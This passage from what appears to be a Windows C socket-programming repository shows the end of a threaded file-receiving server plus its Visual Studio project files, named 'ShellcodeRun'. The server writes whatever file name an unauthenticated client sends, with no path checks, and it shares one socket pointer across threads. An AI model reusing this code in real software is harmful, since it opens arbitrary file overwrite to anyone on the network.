 35 | 	printf("接收文件名。。。。\n");
 36 | 	memset((void *)file_name, 0, sizeof(file_name));
 37 | 	for (i = 0; i < sizeof(file_name); i++) {
 38 | 		if (recv(*(SOCKET *)s, &c, 1, 0) != 1) {
 39 | 			printf("接收失败或客户端已关闭连接\n");
 40 | 			closesocket(*(SOCKET *)s);
 41 | 			return;
 42 | 		}
 43 | 		if (c == 0) {
 44 | 			break;
 45 | 		}
 46 | 		file_name[i] = c;
 47 | 	}
 48 | 	if (i == sizeof(file_name)) {
 49 | 		printf("文件名过长\n");
 50 | 		closesocket(*(SOCKET *)s);
 51 | 		return;
 52 | 	}
 53 | 	printf("文件名%s\n", file_name);
 54 | 	fp = fopen(file_name, "wb");
 55 | 	if (fp == NULL) {
 56 | 		printf("无法以写方式打开文件\n");
 57 | 		closesocket(*(SOCKET *)s);
 58 | 		return;
 59 | 	}
 60 | 	printf("接收文件内容");
 61 | 	memset((void *)data, 0, sizeof(data));
 62 | 	for (;;) {
 63 | 
 64 | 		i = recv(*(SOCKET *)s, data, sizeof(data), 0);
 65 | 		putchar('.');
 66 | 		if (i == SOCKET_ERROR) {
 67 | 			printf("\n接收失败，文件可能不完整\n");
 68 | 			break;
 69 | 		}
 70 | 		else if (i == 0) {
 71 | 			printf("\n接收成功\n");
 72 | 			break;
 73 | 		}
 74 | 		else {
 75 | 			fwrite((void *)data, 1, i, fp);
 76 | 		}
 77 | 	}
 78 | 	fclose(fp);
 79 | 	closesocket(*(SOCKET *)s);
 80 | 
 81 | 
 82 | 
 83 | 	_endthread();
 84 | 
 85 | }
 86 | 
 87 | 
 88 | void print_socket_detail(SOCKET s) {
 89 | 	struct sockaddr_in name;
 90 | 	int namelen;
 91 | 	namelen = sizeof(name);
 92 | 	memset(&name, 0, namelen);
 93 | 	getsockname(s, (struct sockaddr*)&name, &namelen);
 94 | 	printf("local:%s:%d\n", inet_ntoa(name.sin_addr), ntohs(name.sin_port));
 95 | 	namelen = sizeof(name);
 96 | 	memset(&name, 0, namelen);
 97 | 	getpeername(s, (struct sockaddr*)&name, &namelen);
 98 | 	printf("peer:%s:%d\n", inet_ntoa(name.sin_addr), ntohs(name.sin_port));
 99 | }
100 | 
101 | void serve_at(u_short port) {
102 | 	WSADATA wsaData;
103 | 	SOCKET ls, as;
104 | 	static SOCKET *a;
105 | 	struct sockaddr_in addr;
106 | 	struct sockaddr_in cli_addr;
107 | 	int cli_addr_len;
108 | 	WSAStartup(0x202, &wsaData);
109 | 	ls = socket(AF_INET, SOCK_STREAM, 0);
110 | 	memset((void *)&addr, 0, sizeof(addr));
111 | 	addr.sin_family = AF_INET;
112 | 	addr.sin_addr.s_addr = inet_addr("0.0.0.0");
113 | 	addr.sin_port = htons(port);
114 | 	bind(ls, (struct sockaddr *)&addr, sizeof(addr));
115 | 	listen(ls, SOMAXCONN);
116 | 	printf("服务器已启动，监听于端口%d\n", port);
117 | 	for (;;) {
118 | 		cli_addr_len = sizeof(cli_addr);
119 | 		memset((void *)&cli_addr, 0, cli_addr_len);
120 | 		as = accept(ls, (struct sockaddr *)&cli_addr, &cli_addr_len);
121 | 		a = &as;
122 | 		printf("客户端%s:%d已连接\n", inet_ntoa(cli_addr.sin_addr), ntohs(cli_addr.sin_port));
123 | 		_beginthread(serve_client, 0, (void *)a);
124 | 		Sleep(1000);
125 | 		print_socket_detail(as);
126 | 		// while(1){}
127 | 	}
128 | 	closesocket(ls);
129 | 	WSACleanup();
130 | }
131 | 
132 | int main(int argc, char ** argv) {
133 | 	u_short port;
134 | 	if (argc == 1) {
135 | 		serve_at(8888);
136 | 	}
137 | 	else if (argc == 2) {
138 | 		port = (u_short)atoi(argv[1]);
139 | 		if (port == 0) {
140 | 			error_exit("非法的监听端口", -1);
141 | 		}
142 | 		else {
143 | 			serve_at(port);
144 | 		}
145 | 	}
146 | 	else {
147 | 		error_exit("参数错误", -1);
148 | 	}
149 | 	return 0;
150 | }


--------------------------------------------------------------------------------
/SocketServer/Server/ShellcodeRun.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>15.0</VCProjectVersion>
 23 |     <ProjectGuid>{7F97B6A1-DA10-43B2-BB56-72C45538CF80}</ProjectGuid>
 24 |     <Keyword>Win32Proj</Keyword>
 25 |     <RootNamespace>ShellcodeRun</RootNamespace>
 26 |     <WindowsTargetPlatformVersion>10.0.14393.0</WindowsTargetPlatformVersion>
 27 |     <ProjectName>Server</ProjectName>
 28 |   </PropertyGroup>
 29 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 30 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 31 |     <ConfigurationType>Application</ConfigurationType>
 32 |     <UseDebugLibraries>true</UseDebugLibraries>
 33 |     <PlatformToolset>v141</PlatformToolset>
 34 |     <CharacterSet>Unicode</CharacterSet>
 35 |   </PropertyGroup>
 36 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 37 |     <ConfigurationType>Application</ConfigurationType>
 38 |     <UseDebugLibraries>false</UseDebugLibraries>
 39 |     <PlatformToolset>v141</PlatformToolset>
 40 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 41 |     <CharacterSet>Unicode</CharacterSet>
 42 |   </PropertyGroup>
 43 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 44 |     <ConfigurationType>Application</ConfigurationType>
 45 |     <UseDebugLibraries>true</UseDebugLibraries>
 46 |     <PlatformToolset>v141</PlatformToolset>
 47 |     <CharacterSet>MultiByte</CharacterSet>
 48 |   </PropertyGroup>
 49 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 50 |     <ConfigurationType>Application</ConfigurationType>
 51 |     <UseDebugLibraries>false</UseDebugLibraries>
 52 |     <PlatformToolset>v141</PlatformToolset>
 53 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 54 |     <CharacterSet>Unicode</CharacterSet>
 55 |   </PropertyGroup>
 56 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 57 |   <ImportGroup Label="ExtensionSettings">
 58 |   </ImportGroup>
 59 |   <ImportGroup Label="Shared">
 60 |   </ImportGroup>
 61 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 62 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 63 |   </ImportGroup>
 64 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 65 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 66 |   </ImportGroup>
 67 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 68 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 69 |   </ImportGroup>
 70 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 71 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 72 |   </ImportGroup>
 73 |   <PropertyGroup Label="UserMacros" />
 74 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 75 |     <LinkIncremental>true</LinkIncremental>
 76 |   </PropertyGroup>
 77 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 78 |     <LinkIncremental>true</LinkIncremental>
 79 |   </PropertyGroup>
 80 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 81 |     <LinkIncremental>false</LinkIncremental>
 82 |   </PropertyGroup>
 83 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 84 |     <LinkIncremental>false</LinkIncremental>
 85 |     <GenerateManifest>false</GenerateManifest>
 86 |   </PropertyGroup>
 87 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 88 |     <ClCompile>
 89 |       <PrecompiledHeader>
 90 |       </PrecompiledHeader>
 91 |       <WarningLevel>Level3</WarningLevel>
 92 |       <Optimization>Disabled</Optimization>
 93 |       <SDLCheck>true</SDLCheck>
 94 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 95 |       <ConformanceMode>true</ConformanceMode>
 96 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
 97 |     </ClCompile>
 98 |     <Link>
 99 |       <SubSystem>Console</SubSystem>
100 |       <GenerateDebugInformation>true</GenerateDebugInformation>
101 |     </Link>
102 |   </ItemDefinitionGroup>
103 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
104 |     <ClCompile>
105 |       <PrecompiledHeader>
106 |       </PrecompiledHeader>
107 |       <WarningLevel>Level3</WarningLevel>
108 |       <Optimization>Disabled</Optimization>
109 |       <SDLCheck>true</SDLCheck>
110 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
111 |       <ConformanceMode>true</ConformanceMode>
112 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
113 |     </ClCompile>
114 |     <Link>
115 |       <SubSystem>Console</SubSystem>
116 |       <GenerateDebugInformation>true</GenerateDebugInformation>
117 |     </Link>
118 |   </ItemDefinitionGroup>
119 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
120 |     <ClCompile>
121 |       <PrecompiledHeader>
122 |       </PrecompiledHeader>
123 |       <WarningLevel>Level3</WarningLevel>
124 |       <Optimization>MaxSpeed</Optimization>
125 |       <FunctionLevelLinking>true</FunctionLevelLinking>
126 |       <IntrinsicFunctions>true</IntrinsicFunctions>
127 |       <SDLCheck>true</SDLCheck>
128 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
129 |       <ConformanceMode>true</ConformanceMode>
130 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
131 |     </ClCompile>
132 |     <Link>
133 |       <SubSystem>Console</SubSystem>
134 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
135 |       <OptimizeReferences>true</OptimizeReferences>
136 |       <GenerateDebugInformation>true</GenerateDebugInformation>
137 |     </Link>
138 |   </ItemDefinitionGroup>
139 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
140 |     <ClCompile>
141 |       <PrecompiledHeader>
142 |       </PrecompiledHeader>
143 |       <WarningLevel>Level3</WarningLevel>
144 |       <Optimization>MaxSpeed</Optimization>
145 |       <FunctionLevelLinking>true</FunctionLevelLinking>
146 |       <IntrinsicFunctions>true</IntrinsicFunctions>
147 |       <SDLCheck>true</SDLCheck>
148 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
149 |       <ConformanceMode>true</ConformanceMode>
150 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
151 |     </ClCompile>
152 |     <Link>
153 |       <SubSystem>Console</SubSystem>
154 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
155 |       <OptimizeReferences>true</OptimizeReferences>
156 |       <GenerateDebugInformation>false</GenerateDebugInformation>
157 |     </Link>
158 |   </ItemDefinitionGroup>
159 |   <ItemGroup>
160 |     <ClCompile Include="Server.cpp" />
161 |   </ItemGroup>
162 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
163 |   <ImportGroup Label="ExtensionTargets">
164 |   </ImportGroup>
165 | </Project>


--------------------------------------------------------------------------------
/SocketServer/Server/ShellcodeRun.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <ItemGroup>
 4 |     <Filter Include="源文件">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="头文件">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="资源文件">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <ClCompile Include="Server.cpp">
19 |       <Filter>源文件</Filter>
20 |     </ClCompile>
21 |   </ItemGroup>
22 | </Project>


--------------------------------------------------------------------------------
/SocketServer/Server/ShellcodeRun.vcxproj.user:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <PropertyGroup />
4 | </Project>


--------------------------------------------------------------------------------